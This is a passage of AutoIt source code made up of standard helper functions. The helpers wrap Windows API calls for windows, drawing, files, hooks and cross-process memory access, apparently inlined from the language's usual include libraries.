    If NOT $fdebugpriv Then Return 0
    Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
    If @error Then Return SetError(@error, @extended, 0)
    _security__setprivilege($htoken, "SeDebugPrivilege", True)
    Local $ierror = @error
    Local $ilasterror = @extended
    Local $iret = 0
    If NOT @error Then
        $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
        $ierror = @error
        $ilasterror = @extended
        If $aresult[0] Then $iret = $aresult[0]
        _security__setprivilege($htoken, "SeDebugPrivilege", False)
        If @error Then
            $ierror = @error
            $ilasterror = @extended
        EndIf
    EndIf
    _winapi_closehandle($htoken)
    Return SetError($ierror, $ilasterror, $iret)
EndFunc
 
Func __winapi_parsefiledialogpath($spath)
    Local $afiles[3]
    $afiles[0] = 2
    Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
    $afiles[1] = $stemp
    $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
    Return $afiles
EndFunc
 
Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF)
    Local $iextracount = 0
    If IsString($aextrapaths) Then
        If StringLen($aextrapaths) Then
            $aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2)
            $iextracount = UBound($aextrapaths, 1)
        EndIf
    ElseIf IsArray($aextrapaths) Then
        $iextracount = UBound($aextrapaths)
    EndIf
    Local $tpaths, $tpathptrs
    If $iextracount Then
        Local $szstruct = ""
        For $path In $aextrapaths
            $szstruct &= "wchar[" & StringLen($path) + 1 & "];"
        Next
        $tpaths = DllStructCreate($szstruct)
        $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
        For $i = 1 To $iextracount
            DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
            DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
        Next
        DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
    EndIf
    Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "ptr", DllStructGetPtr($tpathptrs))
    If @error Then Return SetError(@error, @extended, False)
    If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
    Return $aresult[1]
EndFunc
 
Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
    Local $ix1 = DllStructGetData($trect, "Left")
    Local $iy1 = DllStructGetData($trect, "Top")
    Local $ix2 = DllStructGetData($trect, "Right")
    Local $iy2 = DllStructGetData($trect, "Bottom")
    If $fcenter Then
        $ix1 = $ix1 + (($ix2 - $ix1) / 2)
        $iy1 = $iy1 + (($iy2 - $iy1) / 2)
    EndIf
    Local $tpoint = DllStructCreate($tagpoint)
    DllStructSetData($tpoint, "X", $ix1)
    DllStructSetData($tpoint, "Y", $iy1)
    Return $tpoint
EndFunc
 
Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
    Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_primarylangid($lgid)
    Return BitAND($lgid, 1023)
EndFunc
 
Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
    Local $ix = DllStructGetData($tpoint, "X")
    Local $iy = DllStructGetData($tpoint, "Y")
    Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "ptr", DllStructGetPtr($trect), "long", $ix, "long", $iy)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
    Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
    If @error Then Return SetError(@error, @extended, False)
    $iread = $aresult[4]
    Return $aresult[0]
EndFunc
 
Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
    Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
    If @error Then Return SetError(@error, @extended, False)
    $iread = $aresult[5]
    Return $aresult[0]
EndFunc
 
Func _winapi_rectisempty(ByRef $trect)
    Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
EndFunc
 
Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
    Local $prect = 0
    If $trect <> 0 Then $prect = DllStructGetPtr($trect)
    Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "ptr", $prect, "handle", $hregion, "uint", $iflags)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_registerwindowmessage($smessage)
    Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_releasecapture()
    Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_releasedc($hwnd, $hdc)
    Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_screentoclient($hwnd, ByRef $tpoint)
    Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "ptr", DllStructGetPtr($tpoint))
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_selectobject($hdc, $hgdiobj)
    Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setbkcolor($hdc, $icolor)
    Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor)
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_setbkmode($hdc, $ibkmode)
    Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_setcapture($hwnd)
    Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_setcursor($hcursor)
    Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_setdefaultprinter($sprinter)
    Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
    Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setendoffile($hfile)
    Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setevent($hevent)
    Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
    Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_setfocus($hwnd)
    Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
    _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd")
EndFunc
 
Func _winapi_sethandleinformation($hobject, $imask, $iflags)
    Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False)
    If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
    If NOT $iscolorref Then
        $i_transcolor = Hex(String($i_transcolor), 6)
        $i_transcolor = Execute("0x00" & StringMid($i_transcolor, 5, 2) & StringMid($i_transcolor, 3, 2) & StringMid($i_transcolor, 1, 2))
    EndIf
    Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setparent($hwndchild, $hwndparent)
    Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_setprocessaffinitymask($hprocess, $imask)
    Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setsyscolors($velements, $vcolors)
    Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
    Local $ielementnum
    If NOT $iscarray AND NOT $isearray Then
        $ielementnum = 1
    ElseIf $iscarray OR $isearray Then
        If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False)
        If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
        $ielementnum = UBound($velements)
    EndIf
    Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
    Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
    Local $pelements = DllStructGetPtr($telements)
    Local $pcolors = DllStructGetPtr($tcolors)
    If NOT $isearray Then
        DllStructSetData($telements, "Element", $velements, 1)
    Else
        For $x = 0 To $ielementnum - 1
            DllStructSetData($telements, "Element", $velements[$x], $x + 1)
        Next
    EndIf
    If NOT $iscarray Then
        DllStructSetData($tcolors, "NewColor", $vcolors, 1)
    Else
        For $x = 0 To $ielementnum - 1
            DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
        Next
    EndIf
    Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "ptr", $pelements, "ptr", $pcolors)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_settextcolor($hdc, $icolor)
    Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor)
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
    _winapi_setlasterror(0)
    Local $sfuncname = "SetWindowLongW"
    If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
    Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
    Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
    Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
    Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
    Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_setwindowtext($hwnd, $stext)
    Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_showcursor($fshow)
    Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_showerror($stext, $fexit = True)
    _winapi_msgbox(266256, "Error", $stext)
    If $fexit Then Exit
EndFunc
 
Func _winapi_showmsg($stext)
    _winapi_msgbox(64 + 4096, "Information", $stext)
EndFunc
 
Func _winapi_showwindow($hwnd, $icmdshow = 5)
    Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_stringfromguid($pguid)
    Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "ptr", $pguid, "wstr", "", "int", 40)
    If @error Then Return SetError(@error, @extended, "")
    Return SetExtended($aresult[0], $aresult[2])
EndFunc
 
Func _winapi_sublangid($lgid)
    Return BitShift($lgid, 10)
EndFunc
 
Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
    Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_twipsperpixelx()
    Local $lngdc, $twipsperpixelx
    $lngdc = _winapi_getdc(0)
    $twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx)
    _winapi_releasedc(0, $lngdc)
    Return $twipsperpixelx
EndFunc
 
Func _winapi_twipsperpixely()
    Local $lngdc, $twipsperpixely
    $lngdc = _winapi_getdc(0)
    $twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy)
    _winapi_releasedc(0, $lngdc)
    Return $twipsperpixely
EndFunc
 
Func _winapi_unhookwindowshookex($hhk)
    Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
    Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_updatewindow($hwnd)
    Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
    Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1)
    Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
    Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
    If @error Then Return SetError(@error, @extended, -1)
    Return $aresult[0]
EndFunc
 
Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
    Local $sunicodetype = "ptr"
    If IsDllStruct($punicode) Then
        $punicode = DllStructGetPtr($punicode)
    Else
        If NOT IsPtr($punicode) Then $sunicodetype = "wstr"
    EndIf
    Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
    If @error Then Return SetError(@error, @extended, "")
    Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
    Local $pmultibyte = DllStructGetPtr($tmultibyte)
    $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", $pmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
    If @error Then Return SetError(@error, @extended, "")
    If $bretstring Then Return DllStructGetData($tmultibyte, 1)
    Return $tmultibyte
EndFunc
 
Func _winapi_windowfrompoint(ByRef $tpoint)
    Local $tpointcast = DllStructCreate("int64", DllStructGetPtr($tpoint))
    Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "int64", DllStructGetData($tpointcast, 1))
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _winapi_writeconsole($hconsole, $stext)
    Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
    Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
    If @error Then Return SetError(@error, @extended, False)
    $iwritten = $aresult[4]
    Return $aresult[0]
EndFunc
 
Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
    Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
    If @error Then Return SetError(@error, @extended, False)
    $iwritten = $aresult[5]
    Return $aresult[0]
EndFunc
 
Global Const $gmem_fixed = 0
Global Const $gmem_moveable = 2
Global Const $gmem_nocompact = 16
Global Const $gmem_nodiscard = 32
Global Const $gmem_zeroinit = 64
Global Const $gmem_modify = 128
Global Const $gmem_discardable = 256
Global Const $gmem_not_banked = 4096
Global Const $gmem_share = 8192
Global Const $gmem_ddeshare = 8192
Global Const $gmem_notify = 16384
Global Const $gmem_lower = 4096
Global Const $gmem_valid_flags = 32626
Global Const $gmem_invalid_handle = 32768
Global Const $gptr = $gmem_fixed + $gmem_zeroinit
Global Const $ghnd = $gmem_moveable + $gmem_zeroinit
Global Const $mem_commit = 4096
Global Const $mem_reserve = 8192
Global Const $mem_top_down = 1048576
Global Const $mem_shared = 134217728
Global Const $page_noaccess = 1
Global Const $page_readonly = 2
Global Const $page_readwrite = 4
Global Const $page_execute = 16
Global Const $page_execute_read = 32
Global Const $page_execute_readwrite = 64
Global Const $page_guard = 256
Global Const $page_nocache = 512
Global Const $mem_decommit = 16384
Global Const $mem_release = 32768
Global Const $process_terminate = 1
Global Const $process_create_thread = 2
Global Const $process_set_sessionid = 4
Global Const $process_vm_operation = 8
Global Const $process_vm_read = 16
Global Const $process_vm_write = 32
Global Const $process_dup_handle = 64
Global Const $process_create_process = 128
Global Const $process_set_quota = 256
Global Const $process_set_information = 512
Global Const $process_query_information = 1024
Global Const $process_suspend_resume = 2048
Global Const $process_all_access = 2035711
Global Const $tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem"
 
Func _memfree(ByRef $tmemmap)
    Local $pmemory = DllStructGetData($tmemmap, "Mem")
    Local $hprocess = DllStructGetData($tmemmap, "hProc")
    Local $bresult = _memvirtualfreeex($hprocess, $pmemory, 0, $mem_release)
    DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess)
    If @error Then Return SetError(@error, @extended, False)
    Return $bresult
EndFunc
 
Func _memglobalalloc($ibytes, $iflags = 0)
    Local $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $iflags, "ulong_ptr", $ibytes)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _memglobalfree($hmem)
    Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmem)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _memgloballock($hmem)
    Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmem)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _memglobalsize($hmem)
    Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmem)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _memglobalunlock($hmem)
    Local $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hmem)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _meminit($hwnd, $isize, ByRef $tmemmap)
    Local $aresult = DllCall("User32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
    If @error Then Return SetError(@error, @extended, 0)
    Local $iprocessid = $aresult[2]
    If $iprocessid = 0 Then Return SetError(1, 0, 0)
    Local $iaccess = BitOR($process_vm_operation, $process_vm_read, $process_vm_write)
    Local $hprocess = __mem_openprocess($iaccess, False, $iprocessid, True)
    Local $ialloc = BitOR($mem_reserve, $mem_commit)
    Local $pmemory = _memvirtualallocex($hprocess, 0, $isize, $ialloc, $page_readwrite)
    If $pmemory = 0 Then Return SetError(2, 0, 0)
    $tmemmap = DllStructCreate($tagmemmap)
    DllStructSetData($tmemmap, "hProc", $hprocess)
    DllStructSetData($tmemmap, "Size", $isize)
    DllStructSetData($tmemmap, "Mem", $pmemory)
    Return $pmemory
EndFunc
 
Func _memmovememory($psource, $pdest, $ilength)
    DllCall("kernel32.dll", "none", "RtlMoveMemory", "ptr", $pdest, "ptr", $psource, "ulong_ptr", $ilength)
    If @error Then Return SetError(@error, @extended)
EndFunc
 
Func _memread(ByRef $tmemmap, $psrce, $pdest, $isize)
    Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $psrce, "ptr", $pdest, "ulong_ptr", $isize, "ulong_ptr*", 0)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _memwrite(ByRef $tmemmap, $psrce, $pdest = 0, $isize = 0, $ssrce = "ptr")
    If $pdest = 0 Then $pdest = DllStructGetData($tmemmap, "Mem")
    If $isize = 0 Then $isize = DllStructGetData($tmemmap, "Size")
    Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $pdest, $ssrce, $psrce, "ulong_ptr", $isize, "ulong_ptr*", 0)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _memvirtualalloc($paddress, $isize, $iallocation, $iprotect)
    Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _memvirtualallocex($hprocess, $paddress, $isize, $iallocation, $iprotect)
    Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
    If @error Then Return SetError(@error, @extended, 0)
    Return $aresult[0]
EndFunc
 
Func _memvirtualfree($paddress, $isize, $ifreetype)
    Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFree", "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func _memvirtualfreeex($hprocess, $paddress, $isize, $ifreetype)
    Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFreeEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
    If @error Then Return SetError(@error, @extended, False)
    Return $aresult[0]
EndFunc
 
Func __mem_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
    Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
    If @error Then Return SetError(@error, @extended, 0)
    If $aresult[0] Then Return $aresult[0]
    If NOT $fdebugpriv Then Return 0
    Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
    If @error Then Return SetError(@error, @extended, 0)
    _security__setprivilege($htoken, "SeDebugPrivilege", True)
    Local $ierror = @error
    Local $ilasterror = @extended
    Local $iret = 0
    If NOT @error Then
        $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
        $ierror = @error
        $ilasterror = @extended
        If $aresult[0] Then $iret = $aresult[0]
        _security__setprivilege($htoken, "SeDebugPrivilege", False)
        If @error Then
            $ierror = @error
            $ilasterror = @extended
        EndIf
    EndIf
    DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $htoken)
    Return SetError($ierror, $ilasterror, $iret)
EndFunc
 
Func _filecountlines($sfilepath)
    Local $hfile = FileOpen($sfilepath, $fo_read)
    If $hfile = -1 Then Return SetError(1, 0, 0)
    Local $sfilecontent = StringStripWS(FileRead($hfile), 2)
    FileClose($hfile)
    Local $atmp
    If StringInStr($sfilecontent, @LF) Then
        $atmp = StringSplit(StringStripCR($sfilecontent), @LF)
    ElseIf StringInStr($sfilecontent, @CR) Then
        $atmp = StringSplit($sfilecontent, @CR)
    Else
        If StringLen($sfilecontent) Then
            Return 1
        Else
            Return SetError(2, 0, 0)
        EndIf
    EndIf
    Return $atmp[0]
EndFunc
 
Func _filecreate($sfilepath)
    Local $hopenfile = FileOpen($sfilepath, $fo_overwrite)
    If $hopenfile = -1 Then Return SetError(1, 0, 0)
    Local $hwritefile = FileWrite($hopenfile, "")
    FileClose($hopenfile)
    If $hwritefile = -1 Then Return SetError(2, 0, 0)
    Return 1
EndFunc
 
Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
    Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
    $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
    If NOT FileExists($spath) Then Return SetError(1, 1, "")
    If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "")
    If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "")
    $hsearch = FileFindFirstFile($spath & $sfilter)
    If @error Then Return SetError(4, 4, "")
    While 1
        $sfile = FileFindNextFile($hsearch)
        If @error Then ExitLoop
        If ($iflag + @extended = 2) Then ContinueLoop
        $sfilelist &= $sdelim & $sfile
    WEnd
    FileClose($hsearch)
    If NOT $sfilelist Then Return SetError(4, 4, "")
    Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
EndFunc
 
Func _fileprint($s_file, $i_show = @SW_HIDE)
    Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show)
    If @error Then Return SetError(@error, @extended, 0)
    If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0)
    Return 1
EndFunc
 
Func _filereadtoarray($sfilepath, ByRef $aarray)
    Local $hfile = FileOpen($sfilepath, $fo_read)
    If $hfile = -1 Then Return SetError(1, 0, 0)
    Local $afile = FileRead($hfile, FileGetSize($sfilepath))
    If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
    If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
    FileClose($hfile)
    If StringInStr($afile, @LF) Then
        $aarray = StringSplit(StringStripCR($afile), @LF)
    ElseIf StringInStr($afile, @CR) Then
        $aarray = StringSplit($afile, @CR)
    Else
        If StringLen($afile) Then
            Dim $aarray[2] = [1, $afile]
        Else
            Return SetError(2, 0, 0)
